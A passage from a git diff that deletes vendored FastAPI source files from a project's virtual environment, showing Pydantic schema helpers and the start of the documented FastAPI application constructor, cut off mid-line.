exclude_defaults: bool = False, - exclude_none: bool = False, - ) -> Any: - # What calls this code passes a value that already called - # self._type_adapter.validate_python(value) - return self._type_adapter.dump_python( - value, - mode=mode, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - ) - - def serialize_json( - self, - value: Any, - *, - include: IncEx | None = None, - exclude: IncEx | None = None, - by_alias: bool = True, - exclude_unset: bool = False, - exclude_defaults: bool = False, - exclude_none: bool = False, - ) -> bytes: - # What calls this code passes a value that already called - # self._type_adapter.validate_python(value) - # This uses Pydantic's dump_json() which serializes directly to JSON - # bytes in one pass (via Rust), avoiding the intermediate Python dict - # step of dump_python(mode="json") + json.dumps(). - return self._type_adapter.dump_json( - value, - include=include, - exclude=exclude, - by_alias=by_alias, - exclude_unset=exclude_unset, - exclude_defaults=exclude_defaults, - exclude_none=exclude_none, - ) - - def __hash__(self) -> int: - # Each ModelField is unique for our purposes, to allow making a dict from - # ModelField to its JSON Schema. - return id(self) - - -def _has_computed_fields(field: ModelField) -> bool: - computed_fields = field._type_adapter.core_schema.get("schema", {}).get( - "computed_fields", [] - ) - return len(computed_fields) > 0 - - -def get_schema_from_model_field( - *, - field: ModelField, - model_name_map: ModelNameMap, - field_mapping: dict[ - tuple[ModelField, Literal["validation", "serialization"]], JsonSchemaValue - ], - separate_input_output_schemas: bool = True, -) -> dict[str, Any]: - override_mode: Literal["validation"] | None = ( - None - if (separate_input_output_schemas or _has_computed_fields(field)) - else "validation" - ) - field_alias = ( - (field.validation_alias or field.alias) - if field.mode == "validation" - else (field.serialization_alias or field.alias) - ) - - # This expects that GenerateJsonSchema was already used to generate the definitions - json_schema = field_mapping[(field, override_mode or field.mode)] - if "$ref" not in json_schema: - # TODO remove when deprecating Pydantic v1 - # Ref: https://github.com/pydantic/pydantic/blob/d61792cc42c80b13b23e3ffa74bc37ec7c77f7d1/pydantic/schema.py#L207 - json_schema["title"] = field.field_info.title or field_alias.title().replace( - "_", " " - ) - return json_schema - - -def get_definitions( - *, - fields: Sequence[ModelField], - model_name_map: ModelNameMap, - separate_input_output_schemas: bool = True, -) -> tuple[ - dict[tuple[ModelField, Literal["validation", "serialization"]], JsonSchemaValue], - dict[str, dict[str, Any]], -]: - schema_generator = GenerateJsonSchema(ref_template=REF_TEMPLATE) - validation_fields = [field for field in fields if field.mode == "validation"] - serialization_fields = [field for field in fields if field.mode == "serialization"] - flat_validation_models = get_flat_models_from_fields( - validation_fields, known_models=set() - ) - flat_serialization_models = get_flat_models_from_fields( - serialization_fields, known_models=set() - ) - flat_validation_model_fields = [ - ModelField( - field_info=FieldInfo(annotation=model), - name=model.__name__, - mode="validation", - ) - for model in flat_validation_models - ] - flat_serialization_model_fields = [ - ModelField( - field_info=FieldInfo(annotation=model), - name=model.__name__, - mode="serialization", - ) - for model in flat_serialization_models - ] - flat_model_fields = flat_validation_model_fields + flat_serialization_model_fields - input_types = {f.field_info.annotation for f in fields} - unique_flat_model_fields = { - f for f in flat_model_fields if f.field_info.annotation not in input_types - } - inputs = [ - ( - field, - ( - field.mode - if (separate_input_output_schemas or _has_computed_fields(field)) - else "validation" - ), - field._type_adapter.core_schema, - ) - for field in list(fields) + list(unique_flat_model_fields) - ] - field_mapping, definitions = schema_generator.generate_definitions(inputs=inputs) - for item_def in cast(dict[str, dict[str, Any]], definitions).values(): - if "description" in item_def: - item_description = cast(str, item_def["description"]).split("\f")[0] - item_def["description"] = item_description - # definitions: dict[DefsRef, dict[str, Any]] - # but mypy complains about general str in other places that are not declared as - # DefsRef, although DefsRef is just str: - # DefsRef = NewType('DefsRef', str) - # So, a cast to simplify the types here - return field_mapping, cast(dict[str, dict[str, Any]], definitions) - - -def is_scalar_field(field: ModelField) -> bool: - from fastapi import params - - return shared.field_annotation_is_scalar( - field.field_info.annotation - ) and not isinstance(field.field_info, params.Body) - - -def copy_field_info(*, field_info: FieldInfo, annotation: Any) -> FieldInfo: - cls = type(field_info) - merged_field_info = cls.from_annotation(annotation) - new_field_info = copy(field_info) - new_field_info.metadata = merged_field_info.metadata - new_field_info.annotation = merged_field_info.annotation - return new_field_info - - -def serialize_sequence_value(*, field: ModelField, value: Any) -> Sequence[Any]: - origin_type = get_origin(field.field_info.annotation) or field.field_info.annotation - if origin_type is Union or origin_type is UnionType: # Handle optional sequences - union_args = get_args(field.field_info.annotation) - for union_arg in union_args: - if union_arg is type(None): - continue - origin_type = get_origin(union_arg) or union_arg - break - assert issubclass(origin_type, shared.sequence_types) # type: ignore[arg-type] # ty: ignore[invalid-argument-type] - return shared.sequence_annotation_to_type[origin_type](value) # type: ignore[no-any-return,index] # ty: ignore[invalid-return-type] - - -def get_missing_field_error(loc: tuple[int | str, ...]) -> dict[str, Any]: - error = ValidationError.from_exception_data( - "Field required", [{"type": "missing", "loc": loc, "input": {}}] - ).errors(include_url=False)[0] - error["input"] = None - return error # type: ignore[return-value] # ty: ignore[invalid-return-type] - - -def create_body_model( - *, fields: Sequence[ModelField], model_name: str -) -> type[BaseModel]: - field_params = {f.name: (f.field_info.annotation, f.field_info) for f in fields} - BodyModel: type[BaseModel] = create_model(model_name, **field_params) # type: ignore[call-overload] # ty: ignore[no-matching-overload] - return BodyModel - - -def get_model_fields(model: type[BaseModel]) -> list[ModelField]: - model_fields: list[ModelField] = [] - for name, field_info in model.model_fields.items(): - type_ = field_info.annotation - if lenient_issubclass(type_, (BaseModel, dict)) or is_dataclass(type_): - model_config = None - else: - model_config = model.model_config - model_fields.append( - ModelField( - field_info=field_info, - name=name, - config=model_config, - ) - ) - return model_fields - - -@lru_cache -def get_cached_model_fields(model: type[BaseModel]) -> list[ModelField]: - return get_model_fields(model) - - -# Duplicate of several schema functions from Pydantic v1 to make them compatible with -# Pydantic v2 and allow mixing the models - -TypeModelOrEnum = type["BaseModel"] | type[Enum] -TypeModelSet = set[TypeModelOrEnum] - - -def normalize_name(name: str) -> str: - return re.sub(r"[^a-zA-Z0-9.\-_]", "_", name) - - -def get_model_name_map(unique_models: TypeModelSet) -> dict[TypeModelOrEnum, str]: - name_model_map = {} - for model in unique_models: - model_name = normalize_name(model.__name__) - name_model_map[model_name] = model - return {v: k for k, v in name_model_map.items()} - - -def get_flat_models_from_model( - model: type["BaseModel"], known_models: TypeModelSet | None = None -) -> TypeModelSet: - known_models = known_models or set() - fields = get_model_fields(model) - get_flat_models_from_fields(fields, known_models=known_models) - return known_models - - -def get_flat_models_from_annotation( - annotation: Any, known_models: TypeModelSet -) -> TypeModelSet: - origin = get_origin(annotation) - if origin is not None: - for arg in get_args(annotation): - if lenient_issubclass(arg, (BaseModel, Enum)): - if arg not in known_models: - known_models.add(arg) # type: ignore[arg-type] - if lenient_issubclass(arg, BaseModel): - get_flat_models_from_model(arg, known_models=known_models) - else: - get_flat_models_from_annotation(arg, known_models=known_models) - return known_models - - -def get_flat_models_from_field( - field: ModelField, known_models: TypeModelSet -) -> TypeModelSet: - field_type = field.field_info.annotation - if lenient_issubclass(field_type, BaseModel): - if field_type in known_models: - return known_models - known_models.add(field_type) - get_flat_models_from_model(field_type, known_models=known_models) - elif lenient_issubclass(field_type, Enum): - known_models.add(field_type) - else: - get_flat_models_from_annotation(field_type, known_models=known_models) - return known_models - - -def get_flat_models_from_fields( - fields: Sequence[ModelField], known_models: TypeModelSet -) -> TypeModelSet: - for field in fields: - get_flat_models_from_field(field, known_models=known_models) - return known_models - - -def _regenerate_error_with_loc( - *, errors: Sequence[Any], loc_prefix: tuple[str | int, ...] -) -> list[dict[str, Any]]: - updated_loc_errors: list[Any] = [ - {**err, "loc": loc_prefix + err.get("loc", ())} for err in errors - ] - - return updated_loc_errors diff --git a/venv/Lib/site-packages/fastapi/applications.py b/venv/Lib/site-packages/fastapi/applications.py deleted file mode 100644 index b5fc76d1607622648ccc0eff63a6b08e65d42afa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/applications.py +++ /dev/null @@ -1,4774 +0,0 @@ -import os -from collections.abc import Awaitable, Callable, Coroutine, Sequence -from enum import Enum -from typing import Annotated, Any, Literal, TypeVar - -from annotated_doc import Doc -from fastapi import routing -from fastapi.datastructures import Default, DefaultPlaceholder -from fastapi.exception_handlers import ( - http_exception_handler, - request_validation_exception_handler, - websocket_request_validation_exception_handler, -) -from fastapi.exceptions import RequestValidationError, WebSocketRequestValidationError -from fastapi.logger import logger -from fastapi.middleware.asyncexitstack import AsyncExitStackMiddleware -from fastapi.openapi.docs import ( - get_redoc_html, - get_swagger_ui_html, - get_swagger_ui_oauth2_redirect_html, -) -from fastapi.openapi.utils import get_openapi -from fastapi.params import Depends -from fastapi.types import DecoratedCallable, IncEx -from fastapi.utils import generate_unique_id -from starlette.applications import Starlette -from starlette.datastructures import State -from starlette.exceptions import HTTPException -from starlette.middleware import Middleware -from starlette.middleware.base import BaseHTTPMiddleware -from starlette.middleware.errors import ServerErrorMiddleware -from starlette.middleware.exceptions import ExceptionMiddleware -from starlette.requests import Request -from starlette.responses import HTMLResponse, JSONResponse, Response -from starlette.routing import BaseRoute -from starlette.types import ASGIApp, ExceptionHandler, Lifespan, Receive, Scope, Send -from typing_extensions import deprecated - -AppType = TypeVar("AppType", bound="FastAPI") - - -class FastAPI(Starlette): - """ - `FastAPI` app class, the main entrypoint to use FastAPI. - - Read more in the - [FastAPI docs for First Steps](https://fastapi.tiangolo.com/tutorial/first-steps/). - - ## Example - - ```python - from fastapi import FastAPI - - app = FastAPI() - ``` - """ - - def __init__( - self: AppType, - *, - debug: Annotated[ - bool, - Doc( - """ - Boolean indicating if debug tracebacks should be returned on server - errors. - - Read more in the - [Starlette docs for Applications](https://starlette.dev/applications/#starlette.applications.Starlette). - """ - ), - ] = False, - routes: Annotated[ - list[BaseRoute] | None, - Doc( - """ - **Note**: you probably shouldn't use this parameter, it is inherited - from Starlette and supported for compatibility. - - --- - - A list of routes to serve incoming HTTP and WebSocket requests. - """ - ), - deprecated( - """ - You normally wouldn't use this parameter with FastAPI, it is inherited - from Starlette and supported for compatibility. - - In FastAPI, you normally would use the *path operation methods*, - like `app.get()`, `app.post()`, etc. - """ - ), - ] = None, - title: Annotated[ - str, - Doc( - """ - The title of the API. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(title="ChimichangApp") - ``` - """ - ), - ] = "FastAPI", - summary: Annotated[ - str | None, - Doc( - """ - A short summary of the API. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(summary="Deadpond's favorite app. Nuff said.") - ``` - """ - ), - ] = None, - description: Annotated[ - str, - Doc( - ''' - A description of the API. Supports Markdown (using - [CommonMark syntax](https://commonmark.org/)). - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI( - description=""" - ChimichangApp API helps you do awesome stuff. 🚀 - - ## Items - - You can **read items**. - - ## Users - - You will be able to: - - * **Create users** (_not implemented_). - * **Read users** (_not implemented_). - - """ - ) - ``` - ''' - ), - ] = "", - version: Annotated[ - str, - Doc( - """ - The version of the API. - - **Note** This is the version of your application, not the version of - the OpenAPI specification nor the version of FastAPI being used. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(version="0.0.1") - ``` - """ - ), - ] = "0.1.0", - openapi_url: Annotated[ - str | None, - Doc( - """ - The URL where the OpenAPI schema will be served from. - - If you set it to `None`, no OpenAPI schema will be served publicly, and - the default automatic endpoints `/docs` and `/redoc` will also be - disabled. - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#openapi-url). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(openapi_url="/api/v1/openapi.json") - ``` - """ - ), - ] = "/openapi.json", - openapi_tags: Annotated[ - list[dict[str, Any]] | None, - Doc( - """ - A list of tags used by OpenAPI, these are the same `tags` you can set - in the *path operations*, like: - - * `@app.get("/users/", tags=["users"])` - * `@app.get("/items/", tags=["items"])` - - The order of the tags can be used to specify the order shown in - tools like Swagger UI, used in the automatic path `/docs`. - - It's not required to specify all the tags used. - - The tags that are not declared MAY be organized randomly or based - on the tools' logic. Each tag name in the list MUST be unique. - - The value of each item is a `dict` containing: - - * `name`: The name of the tag. - * `description`: A short description of the tag. - [CommonMark syntax](https://commonmark.org/) MAY be used for rich - text representation. - * `externalDocs`: Additional external documentation for this tag. If - provided, it would contain a `dict` with: - * `description`: A short description of the target documentation. - [CommonMark syntax](https://commonmark.org/) MAY be used for - rich text representation. - * `url`: The URL for the target documentation. Value MUST be in - the form of a URL. - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-tags). - - **Example** - - ```python - from fastapi import FastAPI - - tags_metadata = [ - { - "name": "users", - "description": "Operations with users. The **login** logic is also here.", - }, - { - "name": "items", - "description": "Manage items. So _fancy_ they have their own docs.", - "externalDocs": { - "description": "Items external docs", - "url": "https://fastapi.tiangolo.com/", - }, - }, - ] - - app = FastAPI(openapi_tags=tags_metadata) - ``` - """ - ), - ] = None, - servers: Annotated[ - list[dict[str, str | Any]] | None, - Doc( - """ - A `list` of `dict`s with connectivity information to a target server. - - You would use it, for example, if your application is served from - different domains and you want to use the same Swagger UI in the - browser to interact with each of them (instead of having multiple - browser tabs open). Or if you want to leave fixed the possible URLs. - - If the servers `list` is not provided, or is an empty `list`, the - `servers` property in the generated OpenAPI will be: - - * a `dict` with a `url` value of the application's mounting point - (`root_path`) if it's different from `/`. - * otherwise, the `servers` property will be omitted from the OpenAPI - schema. - - Each item in the `list` is a `dict` containing: - - * `url`: A URL to the target host. This URL supports Server Variables - and MAY be relative, to indicate that the host location is relative - to the location where the OpenAPI document is being served. Variable - substitutions will be made when a variable is named in `{`brackets`}`. - * `description`: An optional string describing the host designated by - the URL. [CommonMark syntax](https://commonmark.org/) MAY be used for - rich text representation. - * `variables`: A `dict` between a variable name and its value. The value - is used for substitution in the server's URL template. - - Read more in the - [FastAPI docs for Behind a Proxy](https://fastapi.tiangolo.com/advanced/behind-a-proxy/#additional-servers). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI( - servers=[ - {"url": "https://stag.example.com", "description": "Staging environment"}, - {"url": "https://prod.example.com", "description": "Production environment"}, - ] - ) - ``` - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of global dependencies, they will be applied to each - *path operation*, including in sub-routers. - - Read more about it in the - [FastAPI docs for Global Dependencies](https://fastapi.tiangolo.com/tutorial/dependencies/global-dependencies/). - - **Example** - - ```python - from fastapi import Depends, FastAPI - - from .dependencies import func_dep_1, func_dep_2 - - app = FastAPI(dependencies=[Depends(func_dep_1), Depends(func_dep_2)]) - ``` - """ - ), - ] = None, - default_response_class: Annotated[ - type[Response], - Doc( - """ - The default response class to be used. - - Read more in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#default-response-class). - - **Example** - - ```python - from fastapi import FastAPI - from fastapi.responses import ORJSONResponse - - app = FastAPI(default_response_class=ORJSONResponse) - ``` - """ - ), - ] = Default(JSONResponse), - redirect_slashes: Annotated[ - bool, - Doc( - """ - Whether to detect and redirect slashes in URLs when the client doesn't - use the same format. - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(redirect_slashes=True) # the default - - @app.get("/items/") - async def read_items(): - return [{"item_id": "Foo"}] - ``` - - With this app, if a client goes to `/items` (without a trailing slash), - they will be automatically redirected with an HTTP status code of 307 - to `/items/`. - """ - ), - ] = True, - docs_url: Annotated[ - str | None, - Doc( - """ - The path to the automatic interactive API documentation. - It is handled in the browser by Swagger UI. - - The default URL is `/docs`. You can disable it by setting it to `None`. - - If `openapi_url` is set to `None`, this will be automatically disabled. - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#docs-urls). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(docs_url="/documentation", redoc_url=None) - ``` - """ - ), - ] = "/docs", - redoc_url: Annotated[ - str | None, - Doc( - """ - The path to the alternative automatic interactive API documentation - provided by ReDoc. - - The default URL is `/redoc`. You can disable it by setting it to `None`. - - If `openapi_url` is set to `None`, this will be automatically disabled. - - Read more in the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#docs-urls). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(docs_url="/documentation", redoc_url="redocumentation") - ``` - """ - ), - ] = "/redoc", - swagger_ui_oauth2_redirect_url: Annotated[ - str | None, - Doc( - """ - The OAuth2 redirect endpoint for the Swagger UI. - - By default it is `/docs/oauth2-redirect`. - - This is only used if you use OAuth2 (with the "Authorize" button) - with Swagger UI. - """ - ), - ] = "/docs/oauth2-redirect", - swagger_ui_init_oauth: Annotated[ - dict[str, Any] | None, - Doc( - """ - OAuth2 configuration for the Swagger UI, by default shown at `/docs`. - - Read more about the available configuration options in the - [Swagger UI docs](https://swagger.io/docs/open-source-tools/swagger-ui/usage/oauth2/). - """ - ), - ] = None, - middleware: Annotated[ - Sequence[Middleware] | None, - Doc( - """ - List of middleware to be added when creating the application. - - In FastAPI you would normally do this with `app.add_middleware()` - instead. - - Read more in the - [FastAPI docs for Middleware](https://fastapi.tiangolo.com/tutorial/middleware/). - """ - ), - ] = None, - exception_handlers: Annotated[ - dict[ - int | type[Exception], - Callable[[Request, Any], Coroutine[Any, Any, Response]], - ] - | None, - Doc( - """ - A dictionary with handlers for exceptions. - - In FastAPI, you would normally use the decorator - `@app.exception_handler()`. - - Read more in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/). - """ - ), - ] = None, - on_startup: Annotated[ - Sequence[Callable[[], Any]] | None, - Doc( - """ - A list of startup event handler functions. - - You should instead use the `lifespan` handlers. - - Read more in the [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - on_shutdown: Annotated[ - Sequence[Callable[[], Any]] | None, - Doc( - """ - A list of shutdown event handler functions. - - You should instead use the `lifespan` handlers. - - Read more in the - [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - lifespan: Annotated[ - Lifespan[AppType] | None, - Doc( - """ - A `Lifespan` context manager handler. This replaces `startup` and - `shutdown` functions with a single context manager. - - Read more in the - [FastAPI docs for `lifespan`](https://fastapi.tiangolo.com/advanced/events/). - """ - ), - ] = None, - terms_of_service: Annotated[ - str | None, - Doc( - """ - A URL to the Terms of Service for your API. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more at the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - app = FastAPI(terms_of_service="http://example.com/terms/") - ``` - """ - ), - ] = None, - contact: Annotated[ - dict[str, str | Any] | None, - Doc( - """ - A dictionary with the contact information for the exposed API. - - It can contain several fields. - - * `name`: (`str`) The name of the contact person/organization. - * `url`: (`str`) A URL pointing to the contact information. MUST be in - the format of a URL. - * `email`: (`str`) The email address of the contact person/organization. - MUST be in the format of an email address. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more at the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - app = FastAPI( - contact={ - "name": "Deadpoolio the Amazing", - "url": "http://x-force.example.com/contact/", - "email": "dp@x-force.example.com", - } - ) - ``` - """ - ), - ] = None, - license_info: Annotated[ - dict[str, str | Any] | None, - Doc( - """ - A dictionary with the license information for the exposed API. - - It can contain several fields. - - * `name`: (`str`) **REQUIRED** (if a `license_info` is set). The - license name used for the API. - * `identifier`: (`str`) An [SPDX](https://spdx.dev/) license expression - for the API. The `identifier` field is mutually exclusive of the `url` - field. Available since OpenAPI 3.1.0, FastAPI 0.99.0. - * `url`: (`str`) A URL to the license used for the API. This MUST be - the format of a URL. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more at the - [FastAPI docs for Metadata and Docs URLs](https://fastapi.tiangolo.com/tutorial/metadata/#metadata-for-api). - - **Example** - - ```python - app = FastAPI( - license_info={ - "name": "Apache 2.0", - "url": "https://www.apache.org/licenses/LICENSE-2.0.html", - } - ) - ``` - """ - ), - ] = None, - openapi_prefix: Annotated[ - str, - Doc( - """ - A URL prefix for the OpenAPI URL. - """ - ), - deprecated( - """ - "openapi_prefix" has been deprecated in favor of "root_path", which - follows more closely the ASGI standard, is simpler, and more - automatic. - """ - ), - ] = "", - root_path: Annotated[ - str, - Doc( - """ - A path prefix handled by a proxy that is not seen by the application - but is seen by external clients, which affects things like Swagger UI. - - Read more about it at the - [FastAPI docs for Behind a Proxy](https://fastapi.tiangolo.com/advanced/behind-a-proxy/). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(root_path="/api/v1") - ``` - """ - ), - ] = "", - root_path_in_servers: Annotated[ - bool, - Doc( - """ - To disable automatically generating the URLs in the `servers` field - in the autogenerated OpenAPI using the `root_path`. - - Read more about it in the - [FastAPI docs for Behind a Proxy](https://fastapi.tiangolo.com/advanced/behind-a-proxy/#disable-automatic-server-from-root-path). - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI(root_path_in_servers=False) - ``` - """ - ), - ] = True, - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses to be shown in OpenAPI. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Additional Responses in OpenAPI](https://fastapi.tiangolo.com/advanced/additional-responses/). - - And in the - [FastAPI docs for Bigger Applications](https://fastapi.tiangolo.com/tutorial/bigger-applications/#include-an-apirouter-with-a-custom-prefix-tags-responses-and-dependencies). - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - OpenAPI callbacks that should apply to all *path operations*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - webhooks: Annotated[ - routing.APIRouter | None, - Doc( - """ - Add OpenAPI webhooks. This is similar to `callbacks` but it doesn't - depend on specific *path operations*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - **Note**: This is available since OpenAPI 3.1.0, FastAPI 0.99.0. - - Read more about it in the - [FastAPI docs for OpenAPI Webhooks](https://fastapi.tiangolo.com/advanced/openapi-webhooks/). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark all *path operations* as deprecated. You probably don't need it, - but it's available. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#deprecate-a-path-operation). - """ - ), - ] = None, - include_in_schema: Annotated[ - bool, - Doc( - """ - To include (or not) all the *path operations* in the generated OpenAPI. - You probably don't need it, but it's available. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - swagger_ui_parameters: Annotated[ - dict[str, Any] | None, - Doc( - """ - Parameters to configure Swagger UI, the autogenerated interactive API - documentation (by default at `/docs`). - - Read more about it in the - [FastAPI docs about how to Configure Swagger UI](https://fastapi.tiangolo.com/how-to/configure-swagger-ui/). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - separate_input_output_schemas: Annotated[ - bool, - Doc( - """ - Whether to generate separate OpenAPI schemas for request body and - response body when the results would be more precise. - - This is particularly useful when automatically generating clients. - - For example, if you have a model like: - - ```python - from pydantic import BaseModel - - class Item(BaseModel): - name: str - tags: list[str] = [] - ``` - - When `Item` is used for input, a request body, `tags` is not required, - the client doesn't have to provide it. - - But when using `Item` for output, for a response body, `tags` is always - available because it has a default value, even if it's just an empty - list. So, the client should be able to always expect it. - - In this case, there would be two different schemas, one for input and - another one for output. - - Read more about it in the - [FastAPI docs about how to separate schemas for input and output](https://fastapi.tiangolo.com/how-to/separate-openapi-schemas) - """ - ), - ] = True, - openapi_external_docs: Annotated[ - dict[str, Any] | None, - Doc( - """ - This field allows you to provide additional external documentation links. - If provided, it must be a dictionary containing: - - * `description`: A brief description of the external documentation. - * `url`: The URL pointing to the external documentation. The value **MUST** - be a valid URL format. - - **Example**: - - ```python - from fastapi import FastAPI - - external_docs = { - "description": "Detailed API Reference", - "url": "https://example.com/api-docs", - } - - app = FastAPI(openapi_external_docs=external_docs) - ``` - """ - ), - ] = None, - strict_content_type: Annotated[ - bool, - Doc( - """ - Enable strict checking for request Content-Type headers. - - When `True` (the default), requests with a body that do not include - a `Content-Type` header will **not** be parsed as JSON. - - This prevents potential cross-site request forgery (CSRF) attacks - that exploit the browser's ability to send requests without a - Content-Type header, bypassing CORS preflight checks. In particular - applicable for apps that need to be run locally (in localhost). - - When `False`, requests without a `Content-Type` header will have - their body parsed as JSON, which maintains compatibility with - certain clients that don't send `Content-Type` headers. - - Read more about it in the - [FastAPI docs for Strict Content-Type](https://fastapi.tiangolo.com/advanced/strict-content-type/). - """ - ), - ] = True, - **extra: Annotated[ - Any, - Doc( - """ - Extra keyword arguments to be stored in the app, not used by FastAPI - anywhere. - """ - ), - ], - ) -> None: - self.debug = debug - self.title = title - self.summary = summary - self.description = description - self.version = version - self.terms_of_service = terms_of_service - self.contact = contact - self.license_info = license_info - self.openapi_url = openapi_url - self.openapi_tags = openapi_tags - self.root_path_in_servers = root_path_in_servers - self.docs_url = docs_url - self.redoc_url = redoc_url - self.swagger_ui_oauth2_redirect_url = swagger_ui_oauth2_redirect_url - self.swagger_ui_init_oauth = swagger_ui_init_oauth - self.swagger_ui_parameters = swagger_ui_parameters - self.servers = servers or [] - self.separate_input_output_schemas = separate_input_output_schemas - self.openapi_external_docs = openapi_external_docs - self.extra = extra - self.openapi_version: Annotated[ - str, - Doc( - """ - The version string of OpenAPI. - - FastAPI will generate OpenAPI version 3.1.0, and will output that as - the OpenAPI version. But some tools, even though they might be - compatible with OpenAPI 3.1.0, might not recognize it as a valid. - - So you could override this value to trick those tools into using - the generated OpenAPI. Have in mind that this is a hack. But if you - avoid using features added in OpenAPI 3.1.0, it might work for your - use case. - - This is not passed as a parameter to the `FastAPI` class to avoid - giving the false idea that FastAPI would generate a different OpenAPI - schema. It is only available as an attribute. - - **Example** - - ```python - from fastapi import FastAPI - - app = FastAPI() - - app.openapi_version = "3.0.2" - ``` - """ - ), - ] = "3.1.0" - self.openapi_schema: dict[str, Any] | None = None - self._openapi_routes_version: int | None = None - if self.openapi_url: - assert self.title, "A title must be provided for OpenAPI, e.g.: 'My API'" - assert self.version, "A version must be provided for OpenAPI, e.g.: '2.1.0'" - # TODO: remove when discarding the openapi_prefix parameter - if openapi_prefix: - logger.warning( - '"openapi_prefix" has been deprecated in favor of "root_path", which ' - "follows more closely the ASGI standard, is simpler, and more " - "automatic. Check the docs at " - "https://fastapi.tiangolo.com/advanced/sub-applications/" - ) - self.webhooks: Annotated[ - routing.APIRouter, - Doc( - """ - The `app.webhooks` attribute is an `APIRouter` with the *path - operations* that will be used just for documentation of webhooks. - - Read more about it in the - [FastAPI docs for OpenAPI Webhooks](https://fastapi.tiangolo.com/advanced/openapi-webhooks/). - """ - ), - ] = webhooks or routing.APIRouter() - self.root_path = root_path or openapi_prefix - self.state: Annotated[ - State, - Doc( - """ - A state object for the application. This is the same object for the - entire application, it doesn't change from request to request. - - You normally wouldn't use this in FastAPI, for most of the cases you - would instead use FastAPI dependencies. - - This is simply inherited from Starlette. - - Read more about it in the - [Starlette docs for Applications](https://starlette.dev/applications/#storing-state-on-the-app-instance). - """ - ), - ] = State() - self.dependency_overrides: Annotated[ - dict[Callable[..., Any], Callable[..., Any]], - Doc( - """ - A dictionary with overrides for the dependencies. - - Each key is the original dependency callable, and the value is the - actual dependency that should be called. - - This is for testing, to replace expensive dependencies with testing - versions. - - Read more about it in the - [FastAPI docs for Testing Dependencies with Overrides](https://fastapi.tiangolo.com/advanced/testing-dependencies/). - """ - ), - ] = {} - self.router: routing.APIRouter = routing.APIRouter( - routes=routes, - redirect_slashes=redirect_slashes, - dependency_overrides_provider=self, - on_startup=on_startup, - on_shutdown=on_shutdown, - lifespan=lifespan, - default_response_class=default_response_class, - dependencies=dependencies, - callbacks=callbacks, - deprecated=deprecated, - include_in_schema=include_in_schema, - responses=responses, - generate_unique_id_function=generate_unique_id_function, - strict_content_type=strict_content_type, - ) - self.exception_handlers: dict[ - Any, Callable[[Request, Any], Response 